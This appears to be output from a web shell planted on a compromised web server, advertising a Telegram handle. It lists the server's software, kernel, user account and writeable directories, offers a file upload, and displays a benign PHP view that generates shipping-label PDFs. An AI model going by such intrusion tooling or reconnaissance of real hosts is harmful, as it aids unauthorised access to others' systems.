https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kanvakanva.com/public_html/application/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/kanvakanva.com/public_html/application/views/admin/pdfreport.php
<?php

tcpdf();
$pdf = new TCPDF(
  PDF_PAGE_ORIENTATION,
  PDF_UNIT,
  PDF_PAGE_FORMAT,
  true,
  'UTF-8',
  true
);
$pdf->setPrintHeader(false);
$pdf->setPrintFooter(false);
$pdf->AddPage();
$pdf->resetColumns();
$pdf->setEqualColumns(2, 88); // KEY PART -  number of cols and width
$pdf->selectColumn();

// set margins
$pdf->SetMargins(PDF_MARGIN_LEFT, PDF_MARGIN_TOP, PDF_MARGIN_RIGHT);
$pdf->SetAutoPageBreak(true, PDF_MARGIN_BOTTOM);

// $pdf->setPageUnit('pt');
$document_width = $pdf->pixelsToUnits('100');
$document_height = $pdf->pixelsToUnits('100');
$font_size = $pdf->pixelsToUnits('25');
$pdf->SetFont('Helvetica', '', $font_size, '', 'default', true);

$count = 0;
foreach ($id_orders as $id) {
  $tbl_header =
    '<table style="width: 255px; border: 1.5px solid black;" cellspacing="5" nobr="true">';
  $tbl_footer = '</table>';
  $tbl = '';

  $tbl .=
    '
				<tr>
          <th colspan="4" style="vertical-align: bottom;"><img src="uploads/logokanva.png" width="80" height="auto" alt=""/></th>
			    </tr>
			    <tr style="border:1px solid black;">
				   <td colspan="4"><hr></td>
				</tr>
			    <tr>
			    	<th colspan="2" style=" padding: 20px">' .
    $data[$id]['order']->shipping_type .
    '</th>
			    	<th colspan="2" style=" padding: 20px">Berat &nbsp;&nbsp;&nbsp;:' .
    ceil($data[$id]['weight_gram'] / 1000) .
    ' Kg</th>
			    </tr>
			    <tr>
			    	<th colspan="2" style=" padding: 20px">Order Id &nbsp;: ' .
    $data[$id]['order']->id_orders .
    '</th>
			        <th colspan="2" style=" padding: 20px"></th>
			    </tr>
			    <tr style="border:1px solid black;">
				   <td colspan="4"><hr></td>
				</tr>
			    <tr>
			    	<th colspan="2" style=" padding: 20px">Kepada: </th>
			        <th colspan="2" style=" padding: 20px">Dari: </th>
			    </tr>
			    <tr>
			    	<th colspan="2" style=" padding: 20px">
		<strong>' .
    ucwords($data[$id]['order']->recipient_name) .
    '</strong> <br>
		' .
    $data[$id]['order']->address .
    '<br>
		' .
    $data[$id]['order']->district .
    '<br>
		' .
    $data[$id]['order']->province .
    ' ' .
    $data[$id]['order']->postcode .
    ' ' .
    $data[$id]['order']->country .
    '<br>
		' .
    $data[$id]['order']->phone .
    '
					
			    	</th>
			        <th colspan="2" style=" padding: 20px">
		<strong>' .
    $configuration->website_name .
    '</strong> <br>
		Jagakarsa, Kota Administrasi<br>Jakarta Selatan <br>
		081355033577
			        
			         </th>
			    </tr>
			    <tr style="border:1px solid black;">
				   <td colspan="4"><hr></td>
				</tr> 
			    <tr>
			    		<th colspan="1" style="width: 9%;"></th>
				    	<th colspan="2" >Produk</th>
				    	<th colspan="1" >Jumlah</th>
			    </tr>

			';
  $i = 1;
  foreach ($data[$id]['order_details'] as $item) {
    $tbl .=
      '

				<tr>	
						<th  >' .
      $i .
      '.</th>
				    	<th colspan="2" ><p>' .
      $item->item_name .
      '</p></th>
				        <th colspan="1" > ' .
      $item->quantity .
      '</th>
			    </tr>

				';
    $i++;
  }

  $tbl .= '<tr><td></td></tr>';

  $count++;

  if ($count % 2 == 0 && $count) {
    # code...
    $tbl_footer .= '<br pagebreak="true"/>';
  }

  $pdf->writeHTML(
    $tbl_header . $tbl . $tbl_footer,
    true,
    false,
    false,
    false,
    ''
  );
}

$pdf->resetColumns();
$pdf->Output('output.pdf', 'I');

?>

https://t.me/RX1948 - 2025